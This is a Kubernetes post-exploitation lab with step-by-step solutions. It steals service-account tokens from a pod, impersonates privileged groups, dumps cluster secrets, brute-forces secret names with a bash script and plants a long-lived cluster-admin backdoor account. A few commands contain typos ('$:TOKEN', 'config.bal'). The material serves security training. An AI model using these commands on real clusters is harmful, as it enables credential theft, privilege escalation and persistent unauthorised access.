Lab_08 - Kubernetes Post-Exploitation
Lab 8: Kubernetes Post-Exploitation
1. Kubernetes Tokens
Let's read a token inside a tiller pod.
Hint
Tokens are usually found at "/run/secrets/kubernetes.io/serviceaccount/token" and are readable by all users.
Solution
id # observe we are not root
ls -la /run/secrets/kubernetes.io/serviceaccount/token
ls -la /run/secrets/kubernetes.io/serviceaccount/..data/token # Can still read token
cat /run/secrets/kubernetes.io/serviceaccount/token
Ok we have the token, but how can we use it from inside the pod itself?
Hint
Find a way to import the "kubectl" tool in the Pod.
Solution
Run the following command on a node:
cp /usr/bin/kubectl .
python3 -m http.server
ip a # find ip of node
Enter tiller pod again:
kubectl exec -it -n kube-system tiller-deploy-<RANDOM> -- /bin/ash
Run the following commands in the pod:
cd /tmp
wget <IP>:8000/kubectl
chmod +x kubectl
./kubectl auth whoami
./kubectl auth can-i --list
Note: Replace <IP>
with a valid IP where the python server is listening.
2. Impersonating Privileged Accounts
Let's create a user that has access to the "impersonate" verb and see how it can be used.
Solution
Create service account "impersonator":
kubectl create sa impersonator
kubectl create clusterrole impersonate --verb=impersonate --resource=users,groups,uids,serviceaccounts
kubectl create clusterrolebinding impersonate --clusterrole=impersonate --serviceaccount=default:impersonator
kubectl create token impersonator
Let's use the "impersonator" token with kubectl and:
list what the impersonator user can do
impersonate a privileged group
impersonate a privileged service account
Hint
Privileged group: system:masters. Privileged service-account: system:serviceaccount:kube-system:tiller.
Solution
Create token for "impersonator" SA and use it in kubectl:
TOKEN=$(kubectl create token impersonator)
mv ~/.kube/config ~/.kube/config.bak # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
Impersonate the "masters" group and a non-existent user:
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=aaa --as-group=system:masters
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=aaa --as-group=system:masters
Impersonate the "tiller" service account in the "kube-system" namespace:
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=system:serviceaccount:kube-system:tiller
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=system:serviceaccount:kube-system:tiller
Optional: Put the Kubernetes config which was moved from "/.kube/config" to "/.kube/config.bak" back to it's previous location:
mv ~/.kube/config.bak ~/.kube/config # optional
3. List & Get Secrets
Let's create 2 service accounts:
One has the privilege of listing all secrets in k8s
The other has get access on the secrets and list access on the pods and serviceaccounts APIs
Solution
Create service account "list-sec":
kubectl create sa list-sec
kubectl create clusterrole list-sec --verb=list --resource=secrets
kubectl create clusterrolebinding list-sec --clusterrole=list-sec --serviceaccount=default:list-sec
Create service account "read-sec":
kubectl create sa read-sec
kubectl create clusterrole read-sec --verb=get --resource=secrets
kubectl create clusterrolebinding read-sec --clusterrole=read-sec --serviceaccount=default:read-sec
kubectl create clusterrole list-things --verb=list --resource=sa,pods
kubectl create clusterrolebinding read-sec2 --clusterrole=list-things --serviceaccount=default:read-sec
Let's use the "list-sec" account to list and read all secrets.
Solution
LTOKEN=$(kubectl create token list-sec)
mv ~/.kube/config ~/.kube/config.bak # optional
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$:TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -A
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml -A
mv ~/.kube/config.bal ~/.kube/config # optional
Let's use the "read-sec" account to read the "default" secret.
RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default
mv ~/.kube/config.bal ~/.kube/config # optional
Although the "read-sec" account can read any secret, we need to know the name of the secret we are trying to read. Let's write a bash/python/etc. script and a set of wordlists to bruteforce the available secrets.
Solution
RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
We can use the list pods and list SAs to gain potential sensitive information for our wordlists:
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get pods -A
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get sa -A
Bash script "bruteforce_secret.sh":
#!/bin/bash
if [[ $# -ne 4 ]]; then
echo -e "\n\tUSAGE: $0 <http(s)://TARGET:PORT> <TOKEN> <NAMESPACE_FILE> <SECRET_FILE>\n"
exit
fi
TARGET=$1
TOKEN=$2
NAMESPACE_FILE=$3
SECRET_FILE=$4
result=""
for i in `cat $3`; do
for j in `cat $4`; do
echo "Trying: $i - $j"
x=$(./kubectl --token=$TOKEN -s $TARGET --insecure-skip-tls-verify=true get secret "$j" -n "$i" 2>/dev/null)
if [[ "$x" != "" ]]; then
result="$result\nFound: $i - $j \n$x\n"
fi
done
done
echo -e "\n\nResults:\n$result"
Example command:
bash bruteforce_secret.sh https://127.0.0.1:6443 $RTOKEN namespaces.lst secrets.lst
Read some of the identified secrets:
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret <RANDOM>-mysql -n default -o yaml
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default -n kube-system -o yaml
Optional: Put the Kubernetes config which was moved from "/.kube/config" to "/.kube/config.bak" back to it's previous location:
mv ~/.kube/config.bak ~/.kube/config # optional
4. Create Service Accounts Tokens
Let's create an administrative service account and generate a token that will last for years (>=10 years).
Hint
K8s instances have by default the "cluster-admin" cluster role.
Hint
Use the kubectl "--duration" flag.
Solution
Create user and token:
kubectl create sa mal
kubectl create clusterrolebinding mal_sa --clusterrole=cluster-admin --serviceaccount=default:mal
kubectl create token mal --duration=999999999s
Test token:
TOKEN=$(kubectl create token mal --duration=999999999s)
mv ~/.kube/config ~/.kube/config.bak # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
mv ~/.kube/config.bak ~/.kube/config # optional
Last updated